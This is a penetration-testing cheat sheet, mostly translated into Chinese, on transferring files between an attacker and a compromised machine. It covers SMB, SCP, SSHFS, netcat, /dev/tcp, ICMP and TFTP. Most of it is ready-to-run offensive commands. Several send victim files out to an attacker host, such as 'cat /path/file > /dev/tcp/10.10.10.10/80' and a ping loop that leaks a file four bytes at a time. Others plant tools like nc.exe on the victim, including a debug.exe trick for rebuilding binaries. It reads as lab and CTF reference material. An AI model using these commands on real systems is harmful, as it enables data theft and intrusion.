SMB
Kali 作为服务器
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
或者使用 samba 创建一个 smb 共享:
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
Windows
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
SCP
攻击者必须运行SSHd。
scp <username>@<Attacker_IP>:<directory>/<filename>
SSHFS
如果受害者有SSH,攻击者可以将受害者的目录挂载到攻击者那里。
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
NC
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
/dev/tcp
从受害者下载文件
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
将文件上传到受害者系统
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
由于 @BinaryShadow_
ICMP
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
SMTP
如果您能向SMTP服务器发送数据,您可以使用python创建一个SMTP来接收数据:
sudo python -m smtpd -n -c DebuggingServer :25
TFTP
在XP和2003中默认情况下(在其他系统中需要在安装期间明确添加)
在Kali中,启动TFTP服务器:
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
Python中的TFTP服务器:
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
在受害者机器上,连接到Kali服务器:
tftp -i <KALI-IP> get nc.exe
PHP
使用 PHP 单行代码下载文件:
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
VBScript
Attacker> python -m SimpleHTTPServer 80

Debug.exe
这是一种在Windows 32位机器上有效的疯狂技术。其思路是使用debug.exe
程序。它用于检查二进制文件,就像一个调试器。但它也可以从十六进制重建它们。所以我们的想法是,我们取像netcat
这样的二进制文件。然后将其反汇编成十六进制,粘贴到受损机器上的文件中,再用debug.exe
组装它。
Debug.exe
只能组装64 kb的文件。因此我们需要使用比这更小的文件。我们可以使用upx来进一步压缩它。那么,让我们这样做:
upx -9 nc.exe
现在它只有 29 kb。完美。那么现在让我们拆解它:
wine exe2bat.exe nc.exe nc.txt
现在我们只需将文本复制粘贴到我们的windows-shell中。它将自动创建一个名为nc.exe的文件
